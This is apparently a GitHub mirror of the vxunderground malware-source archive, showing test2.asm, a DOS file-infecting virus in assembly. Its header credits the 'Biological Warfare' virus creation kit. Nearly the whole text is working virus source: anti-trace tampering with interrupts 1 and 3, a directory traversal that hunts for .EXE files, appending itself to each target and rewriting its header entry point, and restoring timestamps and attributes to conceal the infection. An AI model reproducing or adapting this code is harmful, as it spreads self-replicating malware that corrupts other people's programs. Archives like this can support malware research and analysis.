mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
304 lines
8.7 KiB
NASM
304 lines
8.7 KiB
NASM
; test2.asm : Test virus #2
|
|
; Created with Biological Warfare - Version 0.90á by MnemoniX
|
|
|
|
PING equ 0A6CFh
|
|
INFECT equ 2
|
|
MARKER equ 08080h
|
|
|
|
code segment
|
|
org 100h
|
|
assume cs:code,ds:code
|
|
|
|
start:
|
|
db 0E9h,3,0 ; to virus
|
|
host:
|
|
db 0CDh,20h,0 ; host program
|
|
virus_begin:
|
|
push ds es
|
|
|
|
call $ + 3 ; BP is instruction ptr.
|
|
pop bp
|
|
sub bp,offset $ - 1
|
|
|
|
xor ax,ax ; mild anti-trace code
|
|
mov es,ax ; kill interrupts 1 & 3
|
|
mov di,6
|
|
stosw
|
|
mov di,14
|
|
stosw
|
|
|
|
in al,21h ; lock out & reopen keyboard
|
|
xor al,2
|
|
out 21h,al
|
|
xor al,2
|
|
out 21h,al
|
|
|
|
push cs
|
|
pop ds
|
|
lea dx,[bp + offset new_DTA]
|
|
mov ah,1Ah
|
|
int 21h
|
|
|
|
mov byte ptr [bp + infections],0
|
|
|
|
push [bp + exe_cs]
|
|
push [bp + exe_ip]
|
|
push [bp + exe_ss]
|
|
push [bp + exe_sp]
|
|
call traverse
|
|
|
|
call activate
|
|
|
|
pop [bp + exe_sp]
|
|
pop [bp + exe_ss]
|
|
pop [bp + exe_ip]
|
|
pop [bp + exe_cs]
|
|
pop es ds
|
|
mov dx,80h
|
|
mov ah,1Ah
|
|
int 21h
|
|
|
|
exe_exit:
|
|
mov ax,ds ; fix up return address
|
|
add ax,10h
|
|
push ax
|
|
add ax,cs:[bp + exe_cs]
|
|
mov cs:[bp + return_cs],ax
|
|
|
|
mov ax,cs:[bp + exe_ip]
|
|
mov cs:[bp + return_ip],ax
|
|
|
|
pop ax
|
|
add ax,cs:[bp + exe_ss] ; restore stack
|
|
cli
|
|
mov ss,ax
|
|
mov sp,cs:[bp + exe_sp]
|
|
|
|
call fix_regs ; fix up registers
|
|
sti
|
|
|
|
db 0EAh ; back to host program
|
|
return_ip dw 0
|
|
return_cs dw 0
|
|
|
|
exe_cs dw -16 ; orig CS:IP
|
|
exe_ip dw 103h
|
|
exe_sp dw -2 ; orig SS:SP
|
|
exe_ss dw -16
|
|
|
|
fix_regs:
|
|
xor ax,ax
|
|
cwd
|
|
xor bx,bx
|
|
mov si,100h
|
|
xor di,di
|
|
xor bp,bp
|
|
ret
|
|
|
|
|
|
traverse:
|
|
sub sp,64 ; allocate stack space
|
|
mov si,sp
|
|
inc si
|
|
mov ah,47h ; get current directory
|
|
xor dl,dl
|
|
push ds
|
|
push ss
|
|
pop ds
|
|
int 21h
|
|
|
|
pop ds
|
|
dec si
|
|
mov byte ptr ss:[si],'\' ; fix directory
|
|
|
|
next_dir:
|
|
call infect_dir
|
|
|
|
cmp byte ptr [bp + infections],INFECT
|
|
je traverse_done
|
|
|
|
lea dx,[bp + outer] ; repeat in next dir up
|
|
mov ah,3Bh
|
|
int 21h
|
|
jnc next_dir
|
|
|
|
traverse_done:
|
|
add sp,64 ; reset
|
|
mov dx,si
|
|
push ds
|
|
push ss
|
|
pop ds
|
|
mov ah,3Bh
|
|
int 21h
|
|
pop ds
|
|
ret
|
|
|
|
infect_dir:
|
|
mov ah,4Eh
|
|
lea dx,[bp + find_me]
|
|
int 21h
|
|
jc infect_done
|
|
|
|
next_file:
|
|
lea dx,[bp + new_DTA + 1Eh]
|
|
call execute
|
|
cmp byte ptr [bp + infections],INFECT
|
|
je infect_done
|
|
mov ah,4Fh
|
|
int 21h
|
|
jnc next_file
|
|
|
|
infect_done:
|
|
ret
|
|
execute:
|
|
push si
|
|
|
|
mov ax,4300h ; change attributes
|
|
int 21h
|
|
|
|
push cx dx ds
|
|
xor cx,cx
|
|
call set_attributes
|
|
|
|
mov ax,3D02h ; open file
|
|
int 21h
|
|
jc cant_open
|
|
xchg bx,ax
|
|
|
|
mov ax,5700h ; save file date/time
|
|
int 21h
|
|
push cx dx
|
|
mov ah,3Fh
|
|
mov cx,28
|
|
lea dx,[bp + read_buffer]
|
|
int 21h
|
|
|
|
cmp word ptr [bp + read_buffer],'ZM'
|
|
je infect_exe ; yes, infect as .EXE
|
|
|
|
jmp dont_infect
|
|
|
|
fix_date_time:
|
|
pop dx cx
|
|
mov ax,5701h ; restore file date/time
|
|
int 21h
|
|
|
|
inc byte ptr [bp + infections]
|
|
|
|
close:
|
|
pop ds dx cx ; restore attributes
|
|
call set_attributes
|
|
|
|
mov ah,3Eh ; close file
|
|
int 21h
|
|
|
|
cant_open:
|
|
pop si
|
|
ret
|
|
|
|
|
|
set_attributes:
|
|
mov ax,4301h
|
|
int 21h
|
|
ret
|
|
|
|
dont_infect:
|
|
pop cx dx ; can't infect, skip
|
|
jmp close
|
|
|
|
infect_exe:
|
|
cmp word ptr [bp + read_buffer + 26],0
|
|
jne dont_infect ; overlay, don't infect
|
|
|
|
cmp word ptr [bp + read_buffer + 16],MARKER
|
|
je dont_infect ; infected already
|
|
|
|
les ax,dword ptr [bp + read_buffer + 20]
|
|
mov [bp + exe_cs],es
|
|
mov [bp + exe_ip],ax
|
|
les ax,dword ptr [bp + read_buffer + 14]
|
|
mov [bp + exe_ss],ax
|
|
mov [bp + exe_sp],es
|
|
mov word ptr [bp + read_buffer + 16],MARKER
|
|
mov ax,4202h ; to end of file
|
|
cwd
|
|
xor cx,cx
|
|
int 21h
|
|
|
|
push ax dx ; save file size
|
|
|
|
push bx
|
|
mov cl,12 ; calculate offsets for CS
|
|
shl dx,cl ; and IP
|
|
mov bx,ax
|
|
mov cl,4
|
|
shr bx,cl
|
|
add dx,bx
|
|
and ax,15
|
|
pop bx
|
|
|
|
sub dx,word ptr [bp + read_buffer + 8]
|
|
mov word ptr [bp + read_buffer + 22],dx
|
|
mov word ptr [bp + read_buffer + 20],ax
|
|
add dx,100h
|
|
mov word ptr [bp + read_buffer + 14],dx
|
|
|
|
pop dx ax ; calculate prog size
|
|
|
|
add ax,VIRUS_SIZE + 3
|
|
adc dx,0
|
|
mov cx,512 ; in pages
|
|
div cx ; then save results
|
|
inc ax
|
|
mov word ptr [bp + read_buffer + 2],dx
|
|
mov word ptr [bp + read_buffer + 4],ax
|
|
|
|
mov ah,40h
|
|
mov cx,VIRUS_SIZE + 3
|
|
lea dx,[bp + virus_begin]
|
|
int 21h
|
|
|
|
|
|
mov ax,4200h ; back to beginning
|
|
cwd
|
|
xor cx,cx
|
|
int 21h
|
|
|
|
mov ah,40h ; and fix up header
|
|
mov cx,28
|
|
lea dx,[bp + read_buffer]
|
|
int 21h
|
|
jmp fix_date_time ; done
|
|
|
|
activate:
|
|
; Insert your routine here
|
|
ret
|
|
|
|
courtesy_of db '[BW]',0
|
|
signature db 'Test virus #2',0
|
|
|
|
get_extension:
|
|
push ds ; find extension
|
|
pop es
|
|
mov di,dx
|
|
mov cx,64
|
|
mov al,'.'
|
|
repnz scasb
|
|
ret
|
|
|
|
find_me db '*.EXE',0
|
|
outer db '..',0
|
|
|
|
infections db 0
|
|
virus_end:
|
|
VIRUS_SIZE equ virus_end - virus_begin
|
|
read_buffer db 28 dup (?) ; read buffer
|
|
new_DTA db 128 dup(?)
|
|
|
|
end_heap:
|
|
|
|
MEM_SIZE equ end_heap - start
|
|
|
|
code ends
|
|
end start
|